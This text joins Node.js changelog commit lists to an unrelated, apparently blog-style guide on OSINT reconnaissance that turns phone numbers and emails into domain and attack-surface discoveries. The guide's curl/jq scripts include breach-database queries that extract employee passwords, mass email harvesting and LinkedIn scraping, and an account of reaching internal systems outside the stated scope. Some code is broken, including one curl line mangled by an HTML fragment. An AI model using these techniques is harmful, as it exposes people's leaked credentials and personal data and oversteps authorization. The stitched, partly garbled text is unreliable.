• [10f03e5958] - src: omit unconvertible names in cjs_lexer::Parse (Yagiz Nizipli) #63943
• [1723773d41] - src: keep global list of addon-provided cleanup hooks (Anna Henningsen) #63985
• [ef12e9ea44] - src: guard OpenSSL compression header include (Filip Skokan) #64009
• [48af8a6d8d] - src: handle empty MaybeLocal in cjs_lexer::Parse (Yagiz Nizipli) #63885
• [2a672ee9e8] - src: fast path empty native immediate drain (Gürgün Dayıoğlu) #62969
• [db6a31d1a1] - src: do not track weak BaseObjects as childrens of Realms (Anna Henningsen) #63842
• [5fb837ff46] - src: allow tracking children in MemoryTracker with weak edges (Anna Henningsen) #63842
• [6d22d373a9] - src: use C++14 deprecated attribute for NODE_DEPRECATED (Anna Henningsen) #63755
• [7ac3fe1992] - src: add cleanup hooks to node::ObjectWrap (Anna Henningsen) #63642
• [d82d369155] - src: fix edge case when deflateInit2() fails with Z_VERSION_ERROR (Nora Dossche) #63476
• [03858d152b] - src: remove redundant handle_ field in ffi (Anna Henningsen) #63665
• [1682264f6b] - src: add Latin1 fast path in StringBytes::Encode utf8 (Mert Can Altin) #63385
• [cc29696acf] - stream: fix Writable.toWeb() desiredSize for non-object-mode (Matteo Collina) #62986
• [d9967a25b2] - stream: handle falsy push writer fail reasons (Trivikram Kamat) #63569
• [b53f8f75c9] - stream: reduce allocations on WHATWG streams hot paths (Matteo Collina) #63876
• [315ca426d8] - stream: handle setEncoding after buffered data (Matteo Collina) #63973
• [06413cd6bd] - stream: fix Utf8Stream stall after full write of multi-byte data (Daijiro Wachi) #63964
• [a9f9a3dafa] - stream: keep overlapping broadcast reads pending (Trivikram Kamat) #63500
• [009cca11bd] - stream: refine the stream/iter backpressure (James M Snell) #63697
• [3f81dcfc99] - stream: only pass the expected number of parameters to callbacks (Antoine du Hamel) #63909
• [9a83b5d1fe] - stream: fix dropped first chunk in Utf8Stream buffer mode (Daijiro Wachi) #63833
• [0bdf5adea9] - stream: remove transform-writer handling in pipeTo (Trivikram Kamat) #63684
• [10272a94b6] - stream: check done before backpressure in stream reader (Daijiro Wachi) #63699
• [792c410631] - stream: fix pipeToSync byte accounting (Trivikram Kamat) #63564
• [3cfafbc54b] - stream: reject pull() reads on abort (Trivikram Kamat) #63498
• [640a8cede5] - stream: fast-path stateless transform flush results (Trivikram Kamat) #63605
• [ece4477872] - stream: optimize pipeTo promise handling (Matteo Collina) #63572
• [2cb84c2daf] - stream: handle sync writev completion in pipeTo (Trivikram Kamat) #63561
• [7d9fdda5fa] - stream: settle pending broadcast reads on return (Trivikram Kamat) #63603
• [e2aea3aac7] - test: tolerate duplicate watch change events (Trivikram Kamat) #63937
• [ea6300593a] - test: mark test-debugger-run-after-quit-restart as flaky on macOS (Matteo Collina) #64006
• [be1b204fa4] - test: update WPT for url to d4598eba09 (Node.js GitHub Bot) #63899
• [b3d0d05b05] - test: update WPT for WebCryptoAPI to 03a1476844 (Node.js GitHub Bot) #63900
• [046af2609f] - test: update WPT for urlpattern to 23aac92784 (Node.js GitHub Bot) #63898
• [562b831a98] - test: add tests for 3 methods in utils (Daijiro Wachi) #63765
• [28e3629dd3] - test: mark SEA tests flaky on linux arm debug (Trivikram Kamat) #63743
• [243aa846de] - test: validate ERR_INVALID_THIS for scheduler methods (Daijiro Wachi) #63764
• [6bd07df2bc] - test: add coverage outside SEA (Daijiro Wachi) #63744
• [bd67c9d11b] - test: update WPT for urlpattern to 2f28df545c (Node.js GitHub Bot) #63771
• [e40bfe7081] - test: make Brotli 16GB test wait for backpressure (Trivikram Kamat) #63389
• [444c03fd3b] - test: add regression test for using ObjectWrap in worker (Mohamed Akram) #63642
• [771230df78] - test: accept SIGILL aborts in async-hooks tests (Trivikram Kamat) #63687
• [0b3cd8e5e6] - test: add more test cases for pathToFileURL (Rafael Gonzaga) #63293
• [0cbc77c60e] - test: update test426-fixtures to 2965987bf4c96afa400c9356c8e620cb340aaee (Node.js GitHub Bot) #63668
• [f53dee5fe4] - test: update WPT for WebCryptoAPI to 0c413fb56b (Node.js GitHub Bot) #63647
• [3048f8dc1a] - test,debugger: add test for type stripping in debugger probe mode (Joyee Cheung) #63748
• [9485caa97e] - test_runner: remove unused shuffleArrayWithSeed (Daijiro Wachi) #63847
• [34433a4a87] - test_runner: fix watch cwd with isolation none (Trivikram Kamat) #63690
• [2e7da29b7c] - test_runner: avoid recompiling coverage globs for every file (sangwook) #63675
• [205295a31e] - test_runner: cache shouldSkipFileCoverage result per URL (sangwook) #63675
• [ee29465e77] - (SEMVER-MINOR) tls: add certificateCompression option (Tim Perry) #62217
• [57d060ed2b] - tls: route event listener exceptions through error handlers (Antoine du Hamel) #63822
• [d2dc6f8506] - tools: bump piscina from 5.1.4 to 5.2.0 in /tools/doc (dependabot[bot]) #64002
• [b0c418f605] - tools: update sccache to v0.16.0 (Michaël Zasso) #63078
• [2af8433bef] - tools: bump js-yaml from 4.1.1 to 4.2.0 in /tools/lint-md (dependabot[bot]) #63948
• [8ba5b8574b] - tools: bump js-yaml from 4.1.1 to 4.2.0 in /tools/eslint (dependabot[bot]) #63947
• [325087be5b] - tools: enforce iterator result property order (Trivikram Kamat) #63526
• [314f417db7] - tools: update the llhttp updater script (Antoine du Hamel) #63819
• [c6e4f5a4fe] - tools: avoid test/fixtures/wpt/README.md conflicts (Filip Skokan) #63938
• [363912acc3] - tools: align Bash snippets in GHA with lint-sh conventions (Antoine du Hamel) #63829
• [cfd16e973c] - tools: bump @node-core/doc-kit in /tools/doc in the doc group (dependabot[bot]) #63760
• [1566872706] - tools: bump the eslint group in /tools/eslint with 7 updates (dependabot[bot]) #63730
• [08437a3a5b] - tools: fix zlib updater script (Antoine du Hamel) #63707
• [e883366172] - url: fix URLSearchParams(null) to prudce null= per spec (Marco) #63782
• [60e83d9bfd] - util: fix scientific notation formatting (Daijiro Wachi) #63823
• [5f7f60ac36] - util: fix -0 formatting when numericSeparator is enabled (Daijiro Wachi) #63815
• [af1a11e0dd] - util: remove style caches from styleText slow path (Guilherme Araújo) #63706
• [b17817eb2b] - (SEMVER-MINOR) vfs: dispatch fs/promises to mounted VFS instances (Matteo Collina) #63537
• [7bc93a6ac5] - (SEMVER-MINOR) vfs: add minimal node:vfs subsystem (Matteo Collina) #63115
• [584e7527c4] - vm: fix property queries for proxy sandboxes (Brian Meek) #63742
• [a926e72eaf] - watch: print name of changed file that triggers restart (Marco) #63781
• [32a2621ca4] - watch: cancel pending restart on shutdown (Trivikram Kamat) #63383
• [692215d1b1] - zlib: coerce -0 to +0 for crc32 seeds (Filip Skokan) #63556

• [e07e7a31e1] - crypto: update root certificates to NSS 3.123.1 (Node.js GitHub Bot) #63527
• [44c8ebcbd6] - http: avoid stream listeners on idle agent sockets (Matteo Collina) #64004
• [d3ef4122ee] - (SEMVER-MINOR) buffer: increase Buffer.poolSize default to 64 KiB (Matteo Collina) #63597
• [bb2857b85a] - (SEMVER-MINOR) crypto: align key argument names in docs and error messages (Filip Skokan) #62527
• [b9d5e87880] - (SEMVER-MINOR) crypto: accept key data in crypto.diffieHellman() and cleanup DH jobs (Filip Skokan) #62527
• [ccd756d61e] - (SEMVER-MINOR) crypto: add TurboSHAKE and KangarooTwelve Web Cryptography algorithms (Filip Skokan) #62183
• [4c9251fc09] - (SEMVER-MINOR) http: add writeInformation to send arbitrary 1xx status codes (Tim Perry) #63155
• [8c989ec4a3] - (SEMVER-MINOR) inspector: expose precise coverage start to JS runtime (sangwook) #63079
• [3f54c8ba32] - Revert "stream: noop pause/resume on destroyed streams" (Stewart X Addison) #63834

Commits

• [d3ef4122ee] - (SEMVER-MINOR) buffer: increase Buffer.poolSize default to 64 KiB (Matteo Collina) #63597
• [9ff36e40f0] - build: add --enable-all-experimentals build flag (Paolo Insogna) #62755
• [7c22ee23aa] - build: def NODE_USE_NODE_CODE_CACHE only used in node_mksnapshot (Chengzhong Wu) #63588
• [2551abdb4a] - build,win: enable x64 PGO (Stefan Stojanovic) #62761
• [e8a55ce9b1] - crypto: strengthen argument CHECKs in TurboSHAKE (Tobias Nießen) #62763
• [ae61cd68f3] - crypto: harden WebCrypto against prototype pollution (Filip Skokan) #63363
• [3d05a1d396] - crypto: pass CryptoKey handles to KDF jobs (Filip Skokan) #63363
• [f9d10a3f6b] - crypto: remove async from WebCrypto methods (Filip Skokan) #63363
• [e431d93e9e] - crypto: add WebCrypto CryptoJob mode (Filip Skokan) #63363
• [56e2505e48] - crypto: wire ML-DSA and ML-KEM for use when using BoringSSL (Filip Skokan) #63255
• [3bac77f2a8] - crypto: wire ChaCha20-Poly1305 in Web Cryptography when using BoringSSL (Filip Skokan) #63255
• [1bff901b09] - crypto: wire AES-KW in Web Cryptography when using BoringSSL (Filip Skokan) #63255
• [4433fca3df] - crypto: harden CryptoKey algorithm slots (Filip Skokan) #63111
• [b5cf01217a] - crypto: harden KeyObject internal slots (Filip Skokan) #63111
• [ce84aef37d] - crypto: add guards and adjust tests for BoringSSL (Filip Skokan) #62883
• [26781689b0] - crypto: reject duplicate ML-KEM JWK key_ops (Filip Skokan) #62905
• [aeea8f4970] - crypto: add JWK support for ML-KEM and SLH-DSA key types (Filip Skokan) #62706
• [407cf91656] - crypto: guard against size_t overflow on experimental 32-bit arch (Filip Skokan) #62626
• [bb2857b85a] - (SEMVER-MINOR) crypto: align key argument names in docs and error messages (Filip Skokan) #62527
• [b9d5e87880] - (SEMVER-MINOR) crypto: accept key data in crypto.diffieHellman() and cleanup DH jobs (Filip Skokan) #62527
• [b46d52b283] - crypto: unify asymmetric key import through KeyObjectHandle::Init (Filip Skokan) #62499
• [ccd756d61e] - (SEMVER-MINOR) crypto: add TurboSHAKE and KangarooTwelve Web Cryptography algorithms (Filip Skokan) #62183
• [e07e7a31e1] - crypto: update root certificates to NSS 3.123.1 (Node.js GitHub Bot) #63527
• [61826df455] - crypto: coerce -0 keylen to +0 in pbkdf2 and scrypt (Jordan Harband) #63531
• [16d2fd3c07] - crypto: align verifyOneShot accepted types (Anshika Jain) #63280
• [3b8330deda] - crypto: improve system certificate enumeration logic on macOS (Robo) #62576
• [141de35399] - debugger: add --help to node inspect and improve docs (Joyee Cheung) #63201
• [b76bfcd4fa] - deps: upgrade npm to 11.16.0 (npm team) #63602
• [4ec142314c] - deps: SQLite: cherry-pick b869ed6b067d623cb1383549f2a18aa35508385d (Junsu Han) #63525
• [19e8ce1c36] - deps: upgrade npm to 11.15.0 (npm team) #63463
• [8a264260e2] - deps: update sqlite to 3.53.1 (Node.js GitHub Bot) #63217
• [50c8ff3f94] - deps: update simdjson to 4.6.4 (Node.js GitHub Bot) #62811
• [6e56f01c4b] - deps: V8: cherry-pick 435a2cdf664c (Matthias Liedtke) #63136
• [3ba813b242] - deps: cherry-pick libuv/libuv@a43e543 (Ali Hassan) #63222
• [2390e3a5ac] - doc: remove duplicated sentences in large-pull-requests.md (Joyee Cheung) #63650
• [52a1c18374] - doc: update git node land instructions for security releases (Antoine du Hamel) #63586
• [3e6b4da037] - doc: drop --experimental from --permission (Rafael Gonzaga) #63583
• [84d05163b9] - doc: explicitly ask for reproducible in JS (Rafael Gonzaga) #63479
• [7da2a4450e] - doc: fix URL postMessage example in worker_threads (Kit Dallege) #62203
• [3d79bd8b29] - doc: clarify filter option of sqlite.database.applyChangeset (Antoine du Hamel) #63515
• [4f4174aace] - doc: fix double spaces in ERR_TLS_INVALID_PROTOCOL_METHOD (Daijiro Wachi) #63511
• [388323ca4b] - doc: fix double space in modules.md (Daijiro Wachi) #63512
• [5258ccc058] - doc: fix "options" to "option" in tls.createServer (Daijiro Wachi) #63453
• [43e83e6507] - doc: fix typo in deprecations (Daijiro Wachi) #63434
• [f05a61d54c] - doc: remove unsupported template type from v8.md (René) #63410
• [c39d5fc820] - doc: fix article usage before vowel-sound acronyms (joao-oliveira-softtor) #62696
• [398261f911] - doc: remove the bi-monthly contributor spotlight section (Claudio Wunder) #62734
• [fd9e14c405] - doc: update http2's push and trailers events with rawHeaders param (YuSheng Chen) #63259
• [b943ce6933] - doc: remove inactive members from Triagers list (Antoine du Hamel) #63329
• [4b9cdfc022] - doc: reference correct function in Module docs (Robin Malfait) #63247
• [bed84b6df2] - doc: replace Visual Studio 2022 Evergreen version reference with 17.14 (Mike McCready) #63211
• [32ea70569b] - doc: recommend explicitly Tier 1 or 2 for production applications (Mike McCready) #63187
• [4627bcfd82] - doc: run license-builder (github-actions[bot]) #63232
• [28eba71845] - doc: add large pull requests contributing guide (Matteo Collina) #62829
• [2648efd438] - doc: remove unnecessary <!-- eslint- magic comments (Antoine du Hamel) #63200
• [a95fc1f8fc] - doc: clarify SEA platform support excludes darwin-x64 (MJSHANG) #63181
• [aaef29e2e1] - doc: update release steps when post-release fails (Rafael Gonzaga) #63131
• [7d81419cf2] - doc: add Hmac.digest() documentation-only deprecation (DEP0206) (Anshika Jain) #63121
• [ececd80d81] - doc: document the latest-vX.x schema (Marco Ippolito) #63033
• [27c1c1d842] - doc: remove list of versions in BUILDING.md (Antoine du Hamel) #63113
• [e369886a65] - doc,sqlite: document entryPoint argument for loadExtension (Edy Silva) #63152
• [e4e5137cbd] - errors: handle V8 warnings in DisallowJavascriptExecutionScope (Divyanshu Sharma) #63491
• [6d1f6048d2] - fs: make Date properties on Stats enumerable (LiviaMedeiros) #63328
• [44c8ebcbd6] - http: avoid stream listeners on idle agent sockets (Matteo Collina) #64004
• [4c9251fc09] - (SEMVER-MINOR) http: add writeInformation to send arbitrary 1xx status codes (Tim Perry) #63155
• [39f61fb06c] - http2: emit session close before stream close (Matteo Collina) #63414
• [8a8f2127d1] - http2: validate non-link headers in writeEarlyHints (Matteo Collina) #62017
• [8c989ec4a3] - (SEMVER-MINOR) inspector: expose precise coverage start to JS runtime (sangwook) #63079
• [c05f38229b] - lib: cleanup stateless diffiehellman key handling (Filip Skokan) #62645
• [1c16b45d35] - lib: refactor internal webidl converters (Filip Skokan) #62979
• [02f35d6dce] - lib: define kEnumerableProperty atomically (Antoine du Hamel) #63609
• [12c51547ba] - lib: fix typos in esm loader comments (RonGamzu) #63465
• [9b03b84262] - lib: fix typo idenity => identity (Daijiro Wachi) #63112
• [a84e6b0567] - lib: fixes validator message (Daijiro Wachi) #62823
• [11734166a8] - lib: narrow ReadableStreamBYOBRequest.view return type to Uint8Array (RoomWithOutRoof) #63017
• [7cead61d21] - meta: flip mcollina emails in .mailmap (Matteo Collina) #63621
• [a08cfcfd35] - meta: label "source maps" PRs (Chengzhong Wu) #63591
• [d56e8d2512] - meta: add vfs subsystem label (René) #62331
• [6201cfe488] - meta: skip scheduled workflows on forks (Jamie Magee) #63565
• [f095e2bd31] - meta: add additional gitignore entries (James M Snell) #63267
• [1ea52c444c] - meta: move one or more collaborators to emeritus (Node.js GitHub Bot) #63402
• [b1b2327611] - meta: move one or more collaborators to emeritus (Node.js GitHub Bot) #63235
• [7d88e130a9] - meta: ignore AI assistants files (Matteo Collina) #62612
• [a53b51df38] - module: load ESM helpers eagerly in the snapshot (Joyee Cheung) #63550
• [69df688fff] - module: fix sync hook short-circuit in require() in imported CJS (Joyee Cheung) #62920
• [75d9a4ed47] - node-api: support SharedArrayBuffer in napi_create_typedarray (Yilong Li) #62710
• [c20aa4c47b] - quic: add reusePort option to QuicEndpoint (James M Snell) #63267
• [26a30d8a7f] - quic: implement rate limiting for version nego and immediate close (James M Snell) #63267
• [0b534b5770] - quic: fixup linting issue after other changes (James M Snell) #63267
• [4b367cbe09] - quic: remove unused binding variable in session.cc (James M Snell) #63177
• [2574bef5a6] - repl: fix dedup comparing normalized line against raw history (Daijiro Wachi) #62886
• [30e71c7e49] - sqlite: keep source database alive during backup (Matteo Collina) #62673
• [677ca7e76c] - src: simplify OpenSSL feature gates (Filip Skokan) #63255
• [c863c75c39] - src: add BoringSSL EVP enumeration fallback (Filip Skokan) #63206
• [f6b2466921] - src: decouple KeyObject and CryptoKey and move CryptoKey to src (Filip Skokan) #62924
• [92d4f07dd2] - src: remove license headers for new node_profiling files (Chengzhong Wu) #63066
• [8ac5d771c8] - src: split profiling helpers from util (Ilyas Shabi) #63008
• [85d1639495] - src: remove TOCTOU race condition when encoding SAB-backed Buffers (Antoine du Hamel) #63517
• [9473c5f05c] - src: skip duplicate UTF-8 validation in TextDecoder fatal path (Mert Can Altin) #63231
• [f35c91ee68] - src: improve token return value check (James M Snell) #63483
• [26f677c1c5] - src: expose node::RegisterContext to make a node managed context (Chengzhong Wu) #62322
• [275cf909b6] - src,sqlite: only pass xFilter when user provided a callback (Antoine du Hamel) #63516
• [287e02303f] - src,sqlite: remove dead code (Edy Silva) #63204
• [58fa2ee189] - stream: switch to internal sleep binding (Antoine du Hamel) #63611
• [f954ab3f1a] - stream: use data listener for compose forwarding (Trivikram Kamat) #63593
• [dc57173003] - stream: fix Writable.toWeb() hang on synchronous drain (sangwook) #61197
• [3f54c8ba32] - Revert "stream: noop pause/resume on destroyed streams" (Stewart X Addison) #63834
• [cee279c5d6] - stream: remove unnecessary check (Antoine du Hamel) #63030
• [61b20f60a3] - test: update tls/crypto behaviour expectations when using BoringSSL (Filip Skokan) #63161
• [a835363808] - test: update WPT for WebCryptoAPI to 97bbc7247a (Node.js GitHub Bot) #63417
• [a00297480b] - test: update WPT resources, interfaces and WebCryptoAPI (Node.js GitHub Bot) #62389
• [5a95a2b055] - test: shorten path in net pipe connect errors (Matteo Collina) #63405
• [5e8ff22d8f] - test: remove test-node-output-v8-warning (Joyee Cheung) #63469
• [ee15380950] - test: update test426-fixtures to 9b9e225b5a63139e9a95cdd1bf874a8f0b9d131 (Node.js GitHub Bot) #63373
• [9e063d9bea] - test: update WPT for url to e4a4672e9e (Node.js GitHub Bot) #63372
• [503bee4b43] - test: deflake async-hooks statwatcher test (Trivikram Kamat) #63396
• [cccc7c32d8] - test: avoid test_runner watch restart in spec snapshot (Trivikram Kamat) #63392
• [c89489258c] - test: reduce watch mode restart flakiness (Trivikram Kamat) #63390
• [e4d5e2578e] - test: isolate rerun-failures state file under tmpdir (Chemi Atlow) #63449
• [362644a9ba] - test: wait for ok before initial break after restart (Yuya Inoue) #62807
• [c4058d0e05] - test: disable Maglev in near-heap-limit worker test (Trivikram Kamat) #63398
• [214da630a7] - test: deflake connection refused proxy tests (Trivikram Kamat) #63395
• [1d61a29876] - test: avoid repeated writes in watch helper (Trivikram Kamat) #63386
• [2004e25387] - test: deflake watch mode worker test (Trivikram Kamat) #63384
• [d691cccfc1] - test: relax test-memory-usage arrayBuffers check (inoway46) #63244
• [0ff6bf853c] - test: reduce flakiness of different-registry-per-thread (Antoine du Hamel) #63244
• [d9f4e8e503] - test: fix flaky test-watch-mode-inspect timeout (Matteo Collina) #63361
• [6d7cd50328] - test: relax min assertion in test-performance-eventloopdelay (Marco) #63100
• [9dafe1d2d8] - test: avoid flaky restart sync in debugger exceptions test (Yuya Inoue) #62055
• [989b2de973] - test: avoid initial-break wait in restart-message (inoway46) #62060
• [a072a25ee7] - test: move FFI tests to NATIVE_SUITES (Antoine du Hamel) #63165
• [64efbfd878] - test: use ERM to destroy sqlite database handles after tests (René) #63076
• [7dee66cd94] - test_runner: dont buffer unordered events in process isolation mode (Moshe Atlow) #63432
• [d257eec1e3] - test_runner: fix --test-rerun-failures swallowing failures on retry (Chemi Atlow) #63431
• [288c320e2f] - test_runner: show replayed-from-attempt hint in spec reporter (Moshe Atlow) #63429
• [904bdf5bb4] - test_runner: preserve run duration when using test-rerun (Moshe Atlow) #63429
• [df183d7bfa] - test_runner: avoid hanging on incomplete v8 frames (Ali Hassan) #62704
• [ec86c69726] - test_runner: fix diagnostics channel context tracking (Moshe Atlow) #63283
• [94e5f63b83] - tls: add unsupported renegotiation error (Filip Skokan) #63161
• [06d308fb61] - tools: prevent lib code from reading KeyObject and CryptoKey accessors (Filip Skokan) #63111
• [2e4a0d0c91] - tools: bump brace-expansion from 5.0.5 to 5.0.6 in /tools/eslint (dependabot[bot]) #63415
• [4c9666b366] - tools: skip commit-lint on backport pull requests (Marco) #63378
• [67d0c490a8] - tools: fix skip of test-internet on forks (Antoine du Hamel) #63492
• [02f73c7cac] - tools: bump the eslint group in /tools/eslint with 4 updates (dependabot[bot]) #63075
• [5d016d3241] - tools: update gyp-next to 0.22.2 (Node.js GitHub Bot) #63374
• [55af0f0edb] - tools: fix test426 updater (Antoine du Hamel) #63271
• [d8475e167a] - tools: use different branch for tool updates on staging branches (Antoine du Hamel) #63110
• [c605df9e50] - util: remove unused functions (Antoine du Hamel) #63612
• [fe4540ebdb] - util: create hex style cache and fast path (Guilherme Araújo) #62999

Commits

• [41d2ee13be] - build: switch coverage-windows to windows-2022 (Richard Lau) #63940
• [eaa292549e] - http: avoid stream listeners on idle agent sockets (Matteo Collina) #64004

A deep technical blog on using phone numbers and email addresses to discover hidden domains, subdomains, and attack surface — with real-world techniques you can use today.

Foreword: Why I Wrote This

In bug bounty and security research, one of the biggest challenges is not finding vulnerabilities — it’s finding the right attack surface.

Many researchers start with traditional reconnaissance: collecting subdomains, checking DNS records, and running automated tools. While these methods are valuable, they often miss assets that are not directly connected to the primary domain.

This is where OSINT becomes powerful.

A simple phone number or email address can become a starting point for discovering hidden digital assets:

• A company email can reveal related domains and third-party services
• Public profiles can expose forgotten infrastructure
• Developer footprints can reveal technology stacks and assets
• Business records can connect organizations to previously unknown domains

The idea behind this research is simple:

Public information creates relationships, and relationships create attack surface.

This blog explores an OSINT-driven acquisition workflow for connecting phone numbers and email addresses with domains, subdomains, and external assets. These techniques are useful for authorized security testing, bug bounty research, and improving reconnaissance skills.

The goal is not just to collect more assets — it is to understand how different pieces of public information connect together to reveal a larger security picture.

Part I: The Conceptual Framework — Why This Works

The Problem with Traditional Subdomain Discovery

Traditional subdomain discovery relies on one thing: the DNS namespace is enumerable. You either brute-force it (guess names) or query passive sources (CT logs, passive DNS).

Both approaches share a fundamental limitation: they only find subdomains that are publicly resolvable or historically logged.

Here’s what they miss:

• Private/internal domains (e.g., internal.company.com that only resolves on the corporate VPN)
• Pre-production domains that were registered but never deployed to DNS
• Acquired company domains that aren’t linked from the parent
• Domains used for third-party services (e.g., company.slack.com, company.atlassian.net)
• Personal domains used by employees for work purposes

The Email-to-Domain Bridge

Every email address user@domain.com tells you:

1. The domain exists (obvious, but foundational)
2. The domain is actively used (someone sent mail from it)
3. The domain has a user (potential credential, potential account)
4. The domain is connected to services (GitHub, Slack, Jira, AWS, etc.)

When you collect thousands of email addresses associated with a company, and you extract every domain from those emails, you build a corporate domain graph that DNS brute-force can never replicate.

The Phone-to-Domain Bridge

Every phone number +1 (415) 555-0199 tells you:

1. The company exists at a physical location (office, data center)
2. The company uses a specific VOIP provider (Twilio, RingCentral, Vonage)
3. The company has registered infrastructure (WHOIS records, business registries)
4. The company has extensions (which map to departments, which map to services)

When you collect phone numbers and reverse-search them, you find domains that were registered with those same phone numbers — often from before the company had a proper security team.

Part II: Phone Number → Domain Discovery

Phone numbers are a persistent identifier. Companies change domains more often than they change phone numbers. A domain registered in 2005 with a phone number is still associated with that company today — even if the domain is forgotten.

Technique 1: WHOIS Phone Number Search

Every domain registration includes a phone number. SecurityTrails, WhoisXMLAPI, and DomainTools allow you to search by phone number to find all domains registered with it.

#!/bin/bash
# phone-to-domain.sh - Find domains registered with a specific phone number
PHONE="$1"

# Using WhoisXMLAPI (paid, but worth it)
curl -s "https://www.whoisxmlapi.com/whoisserver/WhoisService?apiKey=$API_KEY&domainName=$PHONE&outputFormat=JSON" | \
    jq -r '.WhoisRecord.registryData.registrarName // empty'

# Using DomainTools (requires API key)
curl -s "https://api.domaintools.com/v1/$PHONE/domains/" \
    -u "$DOMAINTOOLS_USER:$DOMAINTOOLS_KEY" | \
    jq -r '.response.domains[]'

# Manual: Reverse WHOIS lookup on SecurityTrails
# https://securitytrails.com/list/phone/$PHONE

What this finds: Every domain that was ever registered with that phone number — including domains for subsidiaries, defunct products, and personal projects.

Technique 2: Business Registry Phone Search

Every corporation in the US registers with a state business registry. These registries include phone numbers. You can search by phone number to find all corporations registered under that number.

# OpenCorporates API
curl -s "https://api.opencorporates.com/v0.4/companies/search?q=$PHONE&api_token=$TOKEN" | \
    jq -r '.results[].company.name'

# State-specific registries (examples)
# California: https://businesssearch.sos.ca.gov/
# Delaware: https://icis.corp.delaware.gov/
# Texas: https://mycpa.cpa.state.tx.us/coa/

What this finds: Legal entities, DBAs, and subsidiaries that aren’t publicly linked to the parent company.

Technique 3: Phone Number Reverse Lookup Services

# Twilio Lookup API
curl -s "https://lookups.twilio.com/v1/PhoneNumbers/$PHONE?Type=carrier&Type=caller-name" \
    -u "$TWILIO_SID:$TWILIO_TOKEN" | \
    jq '.carrier.name, .caller_name.caller_name'

# Numverify
curl -s "https://apilayer.net/api/validate?access_key=$KEY&number=$PHONE" | \
    jq '.carrier, .location, .line_type'

# Manual: Whitepages reverse lookup

What this finds: The carrier name (VOIP provider), which tells you what infrastructure to attack, and sometimes the registered business name.

Technique 4: Breach Data Phone Search (Authorized Only)

If you have authorized access to breach databases:

# Dehashed search by phone
curl -s "https://api.dehashed.com/v1/search?query=phone:$PHONE&size=1000" \
    -u "$EMAIL:$API_KEY" | \
    jq -r '.entries[].domain' | sort -u

What this finds: Every domain where an account was registered with that phone number — including internal systems, VPN portals, and employee benefits portals.

Real-World Example: Phone-to-Domain Discovery

Target: Large healthcare tech company. Scope: *.healthtech.com.

I found the company’s main phone number from their contact page: +1 (617) 555-0100.

I ran a WHOIS phone number search:

# SecurityTrails reverse WHOIS by phone
# Result: 47 domains registered with +1.617.555.0100

Among those 47 domains:

Critical find: internal-healthtech.com was registered with the same phone number but was not on any subdomain list. It resolved to a private IP range (10.x.x.x) from the outside, but it hosted an internal tool portal accessible via VPN. The VPN wasn't in scope either — until I found it through the phone number.

Part III: Email Address → Domain Discovery

Every email address user@domain.com is a direct pointer to a domain. When you collect thousands of emails associated with a target company, you build a comprehensive domain inventory.

Technique 1: Cross-Company Email Analysis

When employees from Company A and Company B communicate, email headers reveal both domains. If you find john@company-a.com and jane@company-b.com in the same email chain, they're connected.

# From breach data (authorized): find which domains appear alongside the target domain
# From leaked email threads: extract all sender/receiver domains
# From public mailing lists: find cross-company email patterns

What this finds: Business relationships — partners, vendors, clients, and acquired companies.

Technique 2: The Hunter.io API Multi-Domain Search

Hunter.io allows you to search by domain AND by company name. The company name search returns emails from multiple domains:

# Search by company name
curl -s "https://api.hunter.io/v2/company/domain?company=healthtech&api_key=$KEY" | \
    jq -r '.data.domains[]'

# Result:
# healthtech.com
# healthtech.io
# healthtech.dev
# healthtech-careers.com
# healthtech-benefits.com

What this finds: All domains associated with a company name, including HR, benefits, and internal tool domains.

Technique 3: Email-to-GitHub-to-Domain Chain

This is one of the most powerful discovery chains in bug hunting:

1. Collect employee email: alice@healthtech.com
2. Search GitHub for that email: finds Alice’s GitHub account
3. Look at Alice’s GitHub repos, commits, and organizations
4. Find references to other domains in code, configs, and commit messages

#!/bin/bash
# email-to-github-to-domains.sh
EMAIL="$1"

# Step 1: Find GitHub account
echo "[*] Searching GitHub for $EMAIL..."
curl -s "https://api.github.com/search/users?q=$EMAIL+in:email" | \
    jq -r '.items[].login' > github_users.txt

# Step 2: For each GitHub user, find their repos and orgs
while read USER; do
    echo "[*] Checking user: $USER"
    
    # Get user's repos
    curl -s "https://api.github.com/users/$USER/repos?per_page=100" | \
        jq -r '.[].full_name' >> repos.txt
    
    # Get organizations
    curl -s "https://api.github.com/users/$USER/orgs" | \
        jq -r '.[].login' >> orgs.txt
    
    sleep 2  # Rate limiting
done < github_users.txt

# Step 3: Search repo contents for domain references
while read REPO; do
    echo "[*] Searching repo: $REPO"
    
    # Search code for domain patterns
    curl -s "https://api.github.com/search/code?q=repo:$REPO+healthtech" | \
        jq -r '.items[].html_url' >> code_refs.txt
    
    # Search commit messages for domain references
    curl -s "https://api.github.com/search/commits?q=repo:$REPO+healthtech" | \
        jq -r '.items[].html_url' >> commit_refs.txt
    
    sleep 2
done < repos.txt

What this finds: Internal domains referenced in code comments, config files, READMEs, and commit messages.

Technique 4: Email-to-Breach-to-Domain Correlation

When an employee’s email appears in a breach, you can see what service they were using and what domain was involved:

# Dehashed query (authorized)
curl -s "@healthtech.com&size=10000">https://api.dehashed.com/v1/search?query=email:@healthtech.com&size=10000" \
    -u "$EMAIL:$API_KEY" | \
    jq -r '.entries[] | "\(.domain) \(.email) \(.password)"' | sort -u

# Extract unique domains
curl -s "@healthtech.com&size=10000">https://api.dehashed.com/v1/search?query=email:@healthtech.com&size=10000" \
    -u "$EMAIL:$API_KEY" | \
    jq -r '.entries[].domain' | sort -u > breached-domains.txt

What this finds: Domains where employees had accounts — including personal projects, side businesses, and services they used for work purposes (sometimes on unmanaged infrastructure).

Technique 5: Email-Specific Subdomain Discovery

Services like Have I Been Pwned, Firefox Monitor, and custom tools can tell you which subdomains of a company have accounts registered:

# Check if a subdomain has active accounts
# For Office 365: login.microsoftonline.com will reveal tenant info
# For Atlassian: company-name.atlassian.net
# For Slack: company-name.slack.com
# For GitHub: github.com/orgs/CompanyName

# Using emails to discover the company's Atlassian instance:
for email in $(cat emails.txt); do
    # Check for Atlassian account
    response=$(curl -s -o /dev/null -w "%{http_code}" \
        "https://healthtech.atlassian.net/rest/analytics/1.0/user/is-licensed?username=$email")
    
    if [ "$response" == "200" ] || [ "$response" == "401" ]; then
        echo "Atlassian domain found: healthtech.atlassian.net"
        break
    fi
done

Real-World Example: Email-to-Domain Discovery Chain

Target: Financial services company finsecure.com.

I collected 2,400 emails using Hunter.io, theHarvester, and LinkedIn scraping. Among them was devops@finsecure.com.

GitHub search on devops@finsecure.com: Found a GitHub account finsecure-devops with a private repo (misconfigured visibility).

Repo contents revealed:

• deploy.config with DB_HOST=mariadb.internal.finsecure.com
